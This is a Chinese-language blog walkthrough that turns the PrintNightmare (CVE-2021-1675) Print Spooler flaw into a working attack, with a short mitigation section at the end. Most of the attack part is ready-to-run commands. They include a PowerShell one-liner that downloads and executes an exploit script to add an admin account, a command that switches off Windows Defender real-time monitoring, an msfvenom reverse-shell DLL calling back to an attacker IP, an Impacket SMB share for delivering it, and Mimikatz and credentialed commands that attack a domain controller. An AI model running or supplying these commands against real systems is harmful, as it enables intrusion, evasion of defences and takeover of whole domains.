从本地提权到域控沦陷:CVE-2021-1675 PrintNightmare漏洞武器化实战剖析
1. PrintNightmare漏洞背景与原理剖析Windows打印服务Print Spooler是操作系统中负责管理打印任务的核心组件自Windows NT时代就存在于系统中。2021年曝光的CVE-2021-1675漏洞之所以被称为PrintNightmare是因为它允许攻击者通过远程代码执行RCE完全控制系统。这个漏洞的本质在于驱动程序安装验证机制的缺失——攻击者可以绕过安全校验强制加载恶意驱动程序。实际测试中发现当攻击者调用RpcAddPrinterDriverExAPI时通过特定参数组合如设置APD_INSTALL_WARNED_DRIVER标志可以跳过数字签名验证。更危险的是利用SMB协议共享恶意DLL时系统会自动以SYSTEM权限加载该文件。我在复现过程中注意到即使目标系统启用了UAC保护这个漏洞依然有效。2. 本地提权实战操作指南2.1 环境准备与检测首先需要确认目标系统的打印服务状态。在CMD中执行sc query spooler如果服务未运行可通过以下命令启动net start spooler推荐使用PowerShell脚本进行快速检测$service Get-Service -Name Spooler if($service.Status -ne Running) { Write-Warning Print Spooler未运行 } else { Write-Host [] 存在漏洞的服务正在运行 -ForegroundColor Green }2.2 PowerShell自动化利用最流行的利用脚本是Caleb Stewart开发的版本IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1) Invoke-Nightmare -DriverName Xerox -NewUser hacker -NewPassword Pssw0rd!这个脚本会自动完成以下操作通过RPC连接打印服务上传恶意驱动程序默认使用内存中的payload创建具有管理员权限的新用户我在Windows 10 20H2上测试时发现如果目标启用了Windows Defender需要先禁用实时防护Set-MpPreference -DisableRealtimeMonitoring $true3. 横向移动与域控攻陷3.1 通过SMB投递恶意载荷当获得域成员权限后可以针对域控制器发起攻击。首先准备一个反向Shell的DLLmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f dll -o payload.dll然后搭建SMB共享建议使用Impacket工具包impacket-smbserver share /tmp -smb2support3.2 利用Mimikatz模块攻击Gentil Kiwi开发的Mimikatz特别适合域环境攻击mimikatz# misc::printnightmare /server:dc01 /library:\\192.168.1.100\share\evil.dll这个命令会通过RPC连接域控的打印服务强制加载共享目录中的DLL在SYSTEM上下文执行代码实测中发现如果遇到RPC_S_ACCESS_DENIED错误可以尝试添加域管理员凭据$cred Get-Credential Invoke-Nightmare -RemoteHost dc01 -DriverPath \\192.168.1.100\share\payload.dll -Credential $cred4. 防御措施与缓解方案4.1 紧急处置方案最直接的缓解方法是禁用打印服务Stop-Service -Name Spooler -Force Set-Service -Name Spooler -StartupType Disabled对于域环境可以通过组策略统一配置计算机配置 管理模板 打印机 不允许安装使用内核模式驱动程序的打印机4.2 长期防护建议微软官方补丁应优先安装但需要注意KB50049452021年7月补丁最初存在绕过问题必须同时安装KB5005565和KB5005566才能完全修复企业环境还应实施网络分段限制SMB协议的访问范围启用LSA保护防止凭据转储部署EDR解决方案监控可疑的打印服务调用在多次红队演练中我们发现及时更新系统补丁的组织能够有效阻断这类攻击。而对于必须使用打印服务的企业建议部署专用的打印服务器并将其与核心域控隔离。

相关新闻

CANN/asc-devkit Max函数SIMD API文档

CANN/asc-devkit Max函数SIMD API文档

# Max 【免费下载链接】asc-devkit 本项目是CANN 推出的昇腾AI处理器专用的算子程序开发语言,原生支持C和C标准规范,主要由类库和语言扩展层构成,提供多层级API,满足多维场景算子开发诉求。 项目地址: https://gitc…

2026/7/16 23:24:58阅读更多 →
ChatGPT智能阅读助手Book of Disquiet Reader:文学文本解析与多语言翻译实践

ChatGPT智能阅读助手Book of Disquiet Reader:文学文本解析与多语言翻译实践

这次我们来看一个由 Jason Liu 发布的 ChatGPT 站点项目——Book of Disquiet Reader。这个项目不是传统的聊天机器人界面,而是将 ChatGPT 的能力与文学阅读体验相结合,专门针对《不安之书》(Book of Disquiet)这类深度文本提供智…

2026/7/16 23:24:58阅读更多 →
Git config 配置层级与优先级详解

Git config 配置层级与优先级详解

1. Git配置的三层结构:系统级、全局级与仓库级 第一次接触Git配置时,很多人会被 --system 、 --global 、 --local 这些参数搞得晕头转向。其实这三个层级就像套娃一样,从外到内层层嵌套,每一层都有自己明确的职责范围。 系…

2026/7/16 23:24:58阅读更多 →
如何利用风电和光伏发电预测数据集进行数据分析和建模 风电和光伏发电预测数据集,电网官方数据的应用 风电和光伏发电预测数据集处理

如何利用风电和光伏发电预测数据集进行数据分析和建模 风电和光伏发电预测数据集,电网官方数据的应用 风电和光伏发电预测数据集处理

如何利用风电和光伏发电预测数据集进行数据分析和建模 风电和光伏发电预测数据集,电网官方数据的应用 风电和光伏发电预测数据集处理 文章目录 第一步:数据加载与初步探索第二步:数据预处理第三步:特征工程第四步:划分…

2026/7/17 0:15:02阅读更多 →
PLC缺陷检测数据集,YOLOv8 PLC缺陷检测

PLC缺陷检测数据集,YOLOv8 PLC缺陷检测

工业质检毕设优选!1791张PLC电路板缺陷检测数据集|3类焊接缺陷 YOLO txt标注开箱即用 一、数据集概述 做电子电路板视觉检测、工业元器件缺陷识别、智能制造方向课题的工程师与学生,这套PLC电路板缺陷数据集非常适合论文、产线检测算法开发。…

2026/7/17 0:15:02阅读更多 →
风电光伏数据 99-201综合能源数据微电网数据 电负荷热负荷冷负荷气负荷数据全年热负荷,冷负荷,光负荷,风负荷,小时级

风电光伏数据 99-201综合能源数据微电网数据 电负荷热负荷冷负荷气负荷数据全年热负荷,冷负荷,光负荷,风负荷,小时级

如何应用 风电光伏数据 99-201综合能源数据微电网数据 电负荷热负荷冷负荷气负荷数据全年热负荷,冷负荷,光负荷,风负荷,小时级。 从99年到201年的综合能源数据,包括微电网的电负荷、热负荷、冷负荷、气负荷以及全年热负…

2026/7/17 0:15:02阅读更多 →
如何开发一个能够读取侧扫声呐(Side-Scan Sonar)原始数据文件(如XTF和DVS格式)的系统软件

如何开发一个能够读取侧扫声呐(Side-Scan Sonar)原始数据文件(如XTF和DVS格式)的系统软件

如何开发一个能够读取侧扫声呐(Side-Scan Sonar)原始数据文件(如XTF和DVS格式)的系统软件 文章目录1. 环境准备2. 数据读取与解析示例代码:读取XTF文件3. GUI设计与实现示例代码:主窗口设计4. 功能实现测量…

2026/7/17 0:15:02阅读更多 →
TCN+transformer+通道注意力机制时间序列预测

TCN+transformer+通道注意力机制时间序列预测

TCNtransformer通道注意力机制时间序列预测 TCNDCAtransformer 自己研究的创新点,超级新。可以发刊,高精度代码。 需知:好的创新性模型可以事半功倍。目前太多流水paper,都是旧模型,老师已经审美疲劳,很难发…

2026/7/17 0:15:02阅读更多 →
软删除 vs 硬删除:MySQL 实现软删除(is_deleted 字段),避免数据丢失

软删除 vs 硬删除:MySQL 实现软删除(is_deleted 字段),避免数据丢失

前言 开发中直接 DELETE 硬删除数据,一旦误删无法恢复,订单、用户、商品等核心业务数据绝对不能物理删除。行业通用方案:软删除(逻辑删除),通过 is_deleted 标记区分有效 / 已删除数据。 一、硬删除&#…

2026/7/17 0:10:02阅读更多 →
VSCode TypeScript 环境配置对比:全局安装 vs 项目本地安装的4个关键差异

VSCode TypeScript 环境配置对比:全局安装 vs 项目本地安装的4个关键差异

VSCode TypeScript 环境配置对比:全局安装 vs 项目本地安装的4个关键差异当你在VSCode中启动一个新的TypeScript项目时,第一个技术决策往往从安装方式开始。这个看似简单的选择——全局安装还是项目本地安装——实际上会深刻影响你的开发流程、团队协作和…

2026/7/16 8:28:11阅读更多 →
智慧树刷课插件:5分钟实现自动化学习的智能助手

智慧树刷课插件:5分钟实现自动化学习的智能助手

智慧树刷课插件:5分钟实现自动化学习的智能助手 【免费下载链接】zhihuishu 智慧树刷课插件,自动播放下一集、1.5倍速度、无声 项目地址: https://gitcode.com/gh_mirrors/zh/zhihuishu 智慧树刷课插件是一款专为智慧树在线教育平台设计的Chrome浏…

2026/7/16 6:53:04阅读更多 →
Steam创意工坊下载器WorkshopDL:跨平台游戏模组获取的终极解决方案

Steam创意工坊下载器WorkshopDL:跨平台游戏模组获取的终极解决方案

Steam创意工坊下载器WorkshopDL:跨平台游戏模组获取的终极解决方案 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 你是否在GOG或Epic Games Store购买了心仪的游戏…

2026/7/16 12:02:41阅读更多 →
VS Code 高效配置与个性化定制全攻略

VS Code 高效配置与个性化定制全攻略

1. VS Code 高效配置基础作为一款轻量级但功能强大的代码编辑器,VS Code 的默认配置已经能满足基本需求,但通过合理调整设置可以大幅提升编码效率。我使用 VS Code 已经有五年多时间,期间尝试过各种配置方案,总结出这套适合大多数…

2026/7/17 0:00:01阅读更多 →
从竞赛代码到桌面工具:让 SuperADD 与 SubspaceAD 真正跑进自己的图像

从竞赛代码到桌面工具:让 SuperADD 与 SubspaceAD 真正跑进自己的图像

在异常检测领域,很多优秀算法最初都是以研究代码的形式发布的。它们能够在固定测试集上复现实验结果,却不一定能被普通用户直接拿来测试自己的图片。尤其是最近很多算法仅提供在固定测试集的测试环境,而gradio的demo演示也不会提供。 对工程应用和在自己的图片上进行测试来…

2026/7/17 0:00:01阅读更多 →
WinRAR高效配置指南:从基础安装到高级压缩实战

WinRAR高效配置指南:从基础安装到高级压缩实战

前几天帮同事处理一个客户发来的压缩包,解压时系统自带的工具弹出一串乱码,换用 WinRAR 却顺利打开了。这种看似简单的场景,恰恰暴露了不同压缩工具在处理非标准编码、分卷压缩或加密文件时的差异。WinRAR 作为一款老牌工具,真正价…

2026/7/17 0:00:01阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/16 20:13:14阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/16 8:58:42阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/16 17:10:26阅读更多 →